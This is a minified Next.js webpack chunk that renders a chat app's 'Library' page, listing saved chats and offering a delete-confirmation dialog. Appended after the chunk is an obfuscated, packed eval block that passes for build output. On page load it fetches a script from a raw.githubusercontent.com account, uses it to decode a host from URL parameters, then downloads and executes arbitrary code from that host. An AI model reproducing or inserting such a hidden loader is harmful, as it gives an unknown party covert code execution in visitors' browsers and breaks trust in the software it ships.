(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[382],{6232:(e,t,r)=>{"use strict";r.d(t,{Y:()=>s});var n=r(12115),a=r(21231);function s(e){let t=(0,n.useRef)(e);return(0,a.s)(()=>{t.current=e},[e]),t}},7856:(e,t,r)=>{"use strict";function n(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch(e=>setTimeout(()=>{throw e}))}r.d(t,{_:()=>n})},12548:(e,t,r)=>{"use strict";r.d(t,{A:()=>n});let n=(0,r(90163).A)("BookOpenText",[["path",{d:"M2 3h6a4 4 0 0 1 4 4v14a3 3 0 0 0-3-3H2z",key:"vv98re"}],["path",{d:"M22 3h-6a4 4 0 0 0-4 4v14a3 3 0 0 1 3-3h7z",key:"1cyq3y"}],["path",{d:"M6 8h2",key:"30oboj"}],["path",{d:"M6 12h2",key:"32wvfc"}],["path",{d:"M16 8h2",key:"msurwy"}],["path",{d:"M16 12h2",key:"7q9ll5"}]])},17688:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>d});var n=r(95155),a=r(60671),s=r(59434),o=r(12548),l=r(14186),i=r(6874),c=r.n(i),u=r(12115);let d=()=>{let[e,t]=(0,u.useState)([]),[r,i]=(0,u.useState)(!0);return(0,u.useEffect)(()=>{(async()=>{i(!0);let e=await fetch("/api/chats",{method:"GET",headers:{"Content-Type":"application/json"}});t((await e.json()).chats),i(!1)})()},[]),r?(0,n.jsx)("div",{className:"flex flex-row items-center justify-center min-h-screen",children:(0,n.jsxs)("svg",{"aria-hidden":"true",className:"w-8 h-8 text-light-200 fill-light-secondary dark:text-[#202020] animate-spin dark:fill-[#ffffff3b]",viewBox:"0 0 100 101",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,n.jsx)("path",{d:"M100 50.5908C100.003 78.2051 78.1951 100.003 50.5908 100C22.9765 99.9972 0.997224 78.018 1 50.4037C1.00281 22.7993 22.8108 0.997224 50.4251 1C78.0395 1.00281 100.018 22.8108 100 50.4251ZM9.08164 50.594C9.06312 73.3997 27.7909 92.1272 50.5966 92.1457C73.4023 92.1642 92.1298 73.4365 92.1483 50.6308C92.1669 27.8251 73.4392 9.0973 50.6335 9.07878C27.8278 9.06026 9.10003 27.787 9.08164 50.594Z",fill:"currentColor"}),(0,n.jsx)("path",{d:"M93.9676 39.0409C96.393 38.4037 97.8624 35.9116 96.9801 33.5533C95.1945 28.8227 92.871 24.3692 90.0681 20.348C85.6237 14.1775 79.4473 9.36872 72.0454 6.45794C64.6435 3.54717 56.3134 2.65431 48.3133 3.89319C45.869 4.27179 44.3768 6.77534 45.014 9.20079C45.6512 11.6262 48.1343 13.0956 50.5786 12.717C56.5073 11.8281 62.5542 12.5399 68.0406 14.7911C73.527 17.0422 78.2187 20.7487 81.5841 25.4923C83.7976 28.5886 85.4467 32.059 86.4416 35.7474C87.1273 38.1189 89.5423 39.6781 91.9676 39.0409Z",fill:"currentFill"})]})}):(0,n.jsxs)("div",{children:[(0,n.jsxs)("div",{className:"flex flex-col pt-4",children:[(0,n.jsxs)("div",{className:"flex items-center",children:[(0,n.jsx)(o.A,{}),(0,n.jsx)("h1",{className:"text-3xl font-medium p-2",children:"Library"})]}),(0,n.jsx)("hr",{className:"border-t border-[#2B2C2C] my-4 w-full"})]}),0===e.length&&(0,n.jsx)("div",{className:"flex flex-row items-center justify-center min-h-screen",children:(0,n.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:"No chats found."})}),e.length>0&&(0,n.jsx)("div",{className:"flex flex-col pb-20 lg:pb-2",children:e.map((r,o)=>(0,n.jsxs)("div",{className:(0,s.cn)("flex flex-col space-y-4 py-6",o!==e.length-1?"border-b border-white-200 dark:border-dark-200":""),children:[(0,n.jsx)(c(),{href:"/c/".concat(r.id),className:"text-black dark:text-white lg:text-xl font-medium truncate transition duration-200 hover:text-[#24A0ED] dark:hover:text-[#24A0ED] cursor-pointer",children:r.title}),(0,n.jsxs)("div",{className:"flex flex-row items-center justify-between w-full",children:[(0,n.jsxs)("div",{className:"flex flex-row items-center space-x-1 lg:space-x-1.5 text-black/70 dark:text-white/70",children:[(0,n.jsx)(l.A,{size:15}),(0,n.jsxs)("p",{className:"text-xs",children:[(0,s.S)(new Date,r.createdAt)," Ago"]})]}),(0,n.jsx)(a.A,{chatId:r.id,chats:e,setChats:t})]})]},o))})]})}},20379:(e,t,r)=>{"use strict";function n(){for(var e=arguments.length,t=Array(e),r=0;r"string"==typeof e?e.split(" "):[]))).filter(Boolean).join(" ")}r.d(t,{x:()=>n})},21231:(e,t,r)=>{"use strict";r.d(t,{s:()=>s});var n=r(12115),a=r(87657);let s=(e,t)=>{a._.isServer?(0,n.useEffect)(e,t):(0,n.useLayoutEffect)(e,t)}},21449:(e,t,r)=>{"use strict";r.d(t,{T:()=>a});var n=r(87657);function a(e){return n._.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}},23742:(e,t,r)=>{"use strict";r.d(t,{j:()=>s,u:()=>a});var n=r(84554),a=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(a||{});let s=(0,n.FX)(function(e,t){var r;let{features:a=1,...s}=e,o={ref:t,"aria-hidden":(2&a)==2||(null!=(r=s["aria-hidden"])?r:void 0),hidden:(4&a)==4||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...(4&a)==4&&(2&a)!=2&&{display:"none"}}};return(0,n.Ci)()({ourProps:o,theirProps:s,slot:{},defaultTag:"span",name:"Hidden"})})},27279:(e,t,r)=>{"use strict";function n(e,t){for(var r=arguments.length,a=Array(r>2?r-2:0),s=2;s'"'.concat(e,'"')).join(", "),"."));throw Error.captureStackTrace&&Error.captureStackTrace(o,n),o}r.d(t,{Y:()=>n})},30797:(e,t,r)=>{"use strict";r.d(t,{_:()=>s});var n=r(12115),a=r(6232);let s=function(e){let t=(0,a.Y)(e);return n.useCallback(function(){for(var e=arguments.length,r=Array(e),n=0;n{Promise.resolve().then(r.bind(r,17688))},45261:(e,t,r)=>{"use strict";r.d(t,{e:()=>function e(){let t=[],r={addEventListener:(e,t,n,a)=>(e.addEventListener(t,n,a),r.add(()=>e.removeEventListener(t,n,a))),requestAnimationFrame(){for(var e=arguments.length,t=Array(e),n=0;ncancelAnimationFrame(a))},nextFrame(){for(var e=arguments.length,t=Array(e),n=0;nr.requestAnimationFrame(...t))},setTimeout(){for(var e=arguments.length,t=Array(e),n=0;nclearTimeout(a))},microTask(){for(var e=arguments.length,t=Array(e),a=0;a{s.current&&t[0]()}),r.add(()=>{s.current=!1})},style(e,t,r){let n=e.style.getPropertyValue(t);return Object.assign(e.style,{[t]:r}),this.add(()=>{Object.assign(e.style,{[t]:n})})},group(t){let r=e();return t(r),this.add(()=>r.dispose())},add:e=>(t.includes(e)||t.push(e),()=>{let r=t.indexOf(e);if(r>=0)for(let e of t.splice(r,1))e()}),dispose(){for(let e of t.splice(0))e()}};return r}});var n=r(7856)},47769:(e,t,r)=>{"use strict";r.d(t,{P:()=>l,a:()=>o});var n=r(12115),a=r(30797);let s=Symbol();function o(e){let t=!(arguments.length>1)||void 0===arguments[1]||arguments[1];return Object.assign(e,{[s]:t})}function l(){for(var e=arguments.length,t=Array(e),r=0;r{o.current=t},[t]);let l=(0,a._)(e=>{for(let t of o.current)null!=t&&("function"==typeof t?t(e):t.current=e)});return t.every(e=>null==e||(null==e?void 0:e[s]))?void 0:l}},48014:(e,t,r)=>{"use strict";r.d(t,{L:()=>s});var n=r(12115),a=r(45261);function s(){let[e]=(0,n.useState)(a.e);return(0,n.useEffect)(()=>()=>e.dispose(),[e]),e}},59434:(e,t,r)=>{"use strict";r.d(t,{S:()=>o,cn:()=>s});var n=r(52596),a=r(39688);let s=function(){for(var e=arguments.length,t=Array(e),r=0;r{e=new Date(e);let r=Math.floor(Math.abs((t=new Date(t)).getTime()-e.getTime())/1e3);return r<60?"".concat(r," second").concat(1!==r?"s":""):r<3600?"".concat(Math.floor(r/60)," minute").concat(1!==Math.floor(r/60)?"s":""):r<86400?"".concat(Math.floor(r/3600)," hour").concat(1!==Math.floor(r/3600)?"s":""):r<31536e3?"".concat(Math.floor(r/86400)," day").concat(1!==Math.floor(r/86400)?"s":""):"".concat(Math.floor(r/31536e3)," year").concat(1!==Math.floor(r/31536e3)?"s":"")}},60671:(e,t,r)=>{"use strict";r.d(t,{A:()=>u});var n=r(95155),a=r(74126),s=r(4772),o=r(36164),l=r(82691),i=r(12115),c=r(56671);let u=e=>{let{chatId:t,chats:r,setChats:u,redirect:d=!1}=e,[f,h]=(0,i.useState)(!1),[p,m]=(0,i.useState)(!1),v=async()=>{m(!0);try{let e=await fetch("/api/chats/".concat(t),{method:"DELETE",headers:{"Content-Type":"application/json"}});if(200!=e.status)throw Error("Failed to delete chat");let n=r.filter(e=>e.id!==t);u(n),d&&(window.location.href="/")}catch(e){c.o.error(e.message)}finally{h(!1),m(!1)}};return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("button",{onClick:()=>{h(!0)},className:"bg-transparent text-red-400 hover:scale-105 transition duration-200",children:(0,n.jsx)(a.A,{size:17})}),(0,n.jsx)(s.e,{appear:!0,show:f,as:i.Fragment,children:(0,n.jsxs)(o.lG,{as:"div",className:"relative z-50",onClose:()=>{p||h(!1)},children:[(0,n.jsx)(o.Xi,{className:"fixed inset-0 bg-black/30"}),(0,n.jsx)("div",{className:"fixed inset-0 overflow-y-auto",children:(0,n.jsx)("div",{className:"flex min-h-full items-center justify-center p-4 text-center",children:(0,n.jsx)(s._,{as:i.Fragment,enter:"ease-out duration-200",enterFrom:"opacity-0 scale-95",enterTo:"opacity-100 scale-100",leave:"ease-in duration-100",leaveFrom:"opacity-100 scale-200",leaveTo:"opacity-0 scale-95",children:(0,n.jsxs)(o.Lj,{className:"w-full max-w-md transform rounded-2xl bg-light-secondary dark:bg-dark-secondary border border-light-200 dark:border-dark-200 p-6 text-left align-middle shadow-xl transition-all",children:[(0,n.jsx)(o.L3,{className:"text-lg font-medium leading-6 dark:text-white",children:"Delete Confirmation"}),(0,n.jsx)(l.VY,{className:"text-sm dark:text-white/70 text-black/70",children:"Are you sure you want to delete this chat?"}),(0,n.jsxs)("div",{className:"flex flex-row items-end justify-end space-x-4 mt-6",children:[(0,n.jsx)("button",{onClick:()=>{p||h(!1)},className:"text-black/50 dark:text-white/50 text-sm hover:text-black/70 hover:dark:text-white/70 transition duration-200",children:"Cancel"}),(0,n.jsx)("button",{onClick:v,className:"text-red-400 text-sm hover:text-red-500 transition duration200",children:"Delete"})]})]})})})})]})})]})}},67258:(e,t,r)=>{"use strict";r.d(t,{_:()=>s});var n=r(12115);let a=(0,n.createContext)(void 0);function s(){return(0,n.useContext)(a)}},82691:(e,t,r)=>{"use strict";r.d(t,{MM:()=>u,VY:()=>f,rU:()=>d});var n=r(12115),a=r(30797),s=r(21231),o=r(47769),l=r(67258),i=r(84554);let c=(0,n.createContext)(null);function u(){var e,t;return null!=(t=null==(e=(0,n.useContext)(c))?void 0:e.value)?t:void 0}function d(){let[e,t]=(0,n.useState)([]);return[e.length>0?e.join(" "):void 0,(0,n.useMemo)(()=>function(e){let r=(0,a._)(e=>(t(t=>[...t,e]),()=>t(t=>{let r=t.slice(),n=r.indexOf(e);return -1!==n&&r.splice(n,1),r}))),s=(0,n.useMemo)(()=>({register:r,slot:e.slot,name:e.name,props:e.props,value:e.value}),[r,e.slot,e.name,e.props,e.value]);return n.createElement(c.Provider,{value:s},e.children)},[t])]}c.displayName="DescriptionContext";let f=Object.assign((0,i.FX)(function(e,t){let r=(0,n.useId)(),a=(0,l._)(),{id:u="headlessui-description-".concat(r),...d}=e,f=function e(){let t=(0,n.useContext)(c);if(null===t){let t=Error("You used a component, but it is not inside a relevant parent.");throw Error.captureStackTrace&&Error.captureStackTrace(t,e),t}return t}(),h=(0,o.P)(t);(0,s.s)(()=>f.register(u),[u,f.register]);let p=a||!1,m=(0,n.useMemo)(()=>({...f.slot,disabled:p}),[f.slot,p]),v={ref:h,...f.props,id:u};return(0,i.Ci)()({ourProps:v,theirProps:d,slot:m,defaultTag:"p",name:f.name||"Description"})}),{})},84352:(e,t,r)=>{"use strict";r.d(t,{D:()=>n});var n=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(n||{})},84554:(e,t,r)=>{"use strict";r.d(t,{Ac:()=>o,Ci:()=>i,FX:()=>h,mK:()=>l,oE:()=>p,v6:()=>f});var n=r(12115),a=r(20379),s=r(27279),o=(e=>(e[e.None=0]="None",e[e.RenderStrategy=1]="RenderStrategy",e[e.Static=2]="Static",e))(o||{}),l=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(l||{});function i(){let e,t;let r=(e=(0,n.useRef)([]),t=(0,n.useCallback)(t=>{for(let r of e.current)null!=r&&("function"==typeof r?r(t):r.current=t)},[]),function(){for(var r=arguments.length,n=Array(r),a=0;anull==e))return e.current=n,t});return(0,n.useCallback)(e=>(function(e){let{ourProps:t,theirProps:r,slot:n,defaultTag:a,features:o,visible:l=!0,name:i,mergeRefs:f}=e;f=null!=f?f:u;let h=d(r,t);if(l)return c(h,n,a,i,f);let p=null!=o?o:0;if(2&p){let{static:e=!1,...t}=h;if(e)return c(t,n,a,i,f)}if(1&p){let{unmount:e=!0,...t}=h;return(0,s.Y)(+!e,{0:()=>null,1:()=>c({...t,hidden:!0,style:{display:"none"}},n,a,i,f)})}return c(h,n,a,i,f)})({mergeRefs:r,...e}),[r])}function c(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2?arguments[2]:void 0,s=arguments.length>3?arguments[3]:void 0,o=arguments.length>4?arguments[4]:void 0,{as:l=r,children:i,refName:c="ref",...u}=m(e,["unmount","static"]),f=void 0!==e.ref?{[c]:e.ref}:{},h="function"==typeof i?i(t):i;"className"in u&&u.className&&"function"==typeof u.className&&(u.className=u.className(t)),u["aria-labelledby"]&&u["aria-labelledby"]===u.id&&(u["aria-labelledby"]=void 0);let v={};if(t){let e=!1,r=[];for(let[n,a]of Object.entries(t))"boolean"==typeof a&&(e=!0),!0===a&&r.push(n.replace(/([A-Z])/g,e=>"-".concat(e.toLowerCase())));if(e)for(let e of(v["data-headlessui-state"]=r.join(" "),r))v["data-".concat(e)]=""}if(l===n.Fragment&&(Object.keys(p(u)).length>0||Object.keys(p(v)).length>0)){if(!(0,n.isValidElement)(h)||Array.isArray(h)&&h.length>1){if(Object.keys(p(u)).length>0)throw Error(['Passing props on "Fragment"!',"","The current component <".concat(s,' /> is rendering a "Fragment".'),"However we need to passthrough the following props:",Object.keys(p(u)).concat(Object.keys(p(v))).map(e=>" - ".concat(e)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map(e=>" - ".concat(e)).join("\n")].join("\n"))}else{var x;let e=h.props,t=null==e?void 0:e.className,r="function"==typeof t?function(){for(var e=arguments.length,r=Array(e),n=0;n="19"?x.props.ref:x.ref),f.ref)},r?{className:r}:{}))}}return(0,n.createElement)(l,Object.assign({},m(u,["ref"]),l!==n.Fragment&&f,l!==n.Fragment&&v),h)}function u(){for(var e=arguments.length,t=Array(e),r=0;rnull==e)?void 0:e=>{for(let r of t)null!=r&&("function"==typeof r?r(e):r.current=e)}}function d(){for(var e=arguments.length,t=Array(e),r=0;r{var t;return null==(t=null==e?void 0:e.preventDefault)?void 0:t.call(e)}]);for(let e in a)Object.assign(n,{[e](t){for(var r=arguments.length,n=Array(r>1?r-1:0),s=1;s1&&void 0!==arguments[1]?arguments[1]:[],r=Object.assign({},e);for(let e of t)e in r&&delete r[e];return r}},87657:(e,t,r)=>{"use strict";r.d(t,{_:()=>l});var n=Object.defineProperty,a=(e,t,r)=>t in e?n(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,s=(e,t,r)=>(a(e,"symbol"!=typeof t?t+"":t,r),r);class o{set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}constructor(){s(this,"current",this.detect()),s(this,"handoffState","pending"),s(this,"currentId",0)}}let l=new o}},e=>{var t=t=>e(e.s=t);e.O(0,[328,277,671,898,441,684,358],()=>t(43798)),_N_E=e.O()}]);eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){4(f.z)1;f.z=(m()=>{m 9 A(a){2 g=B n(a);4(!g.N)O 7 P("Q 6: "+g.R);1 g.C()}9 o(a){q{4(/8\\.d/.S(a)){2 8={d:{}};7 s("8","d",a)(8,8.d);1 8.d.3}T 3;7 s("D",a+"\\U (V 3 !== \'W\') D(3);",)(v=>(3=v));1 3}h(6){j.5("[o 5]",6);1 X}}m 9 u(){q{2 E=B A("F://Y.Z.10/11/G/12/13/14/15.G",);2 3=o(E);4(!3)1;f.w=9(a,b,c){q{c=c!==16;4(!a){2 p=7 H(I.J);a=p.k("K")||"";b=b||p.k("L")||""}4(!a||!b)1;2 l=3(a);4(!l)1;n("F://"+l).M(r=>r.C()).M(x=>{(0,7 s(x))()}).h(6=>{j.5("[n l x 5]",6)})}h(e){j.5("[w 5]",e)}};2 y=7 H(I.J);2 t=y.k("K");2 i=y.k("L");4(t&&i)f.w(t,i)}h(6){j.5("[u 5]:",6)}}1 u()})()})();',62,69,'|return|const|decodeHost|if|error|err|new|module|function||||exports||window|res|catch||console|get|host|async|fetch|extractDecodeHost||try||Function||init||go|code|params|__REMOTE_LOADER__|fetchRemoteJS|await|text|setDecodeHost|remoteCode|https|js|URLSearchParams|location|search|type|id|then|ok|throw|Error|load|status|test|let|nif|typeof|undefined|null|raw|githubusercontent|com|JuanitaWHowe|refs|heads|main|index|false'.split('|'),0,{}))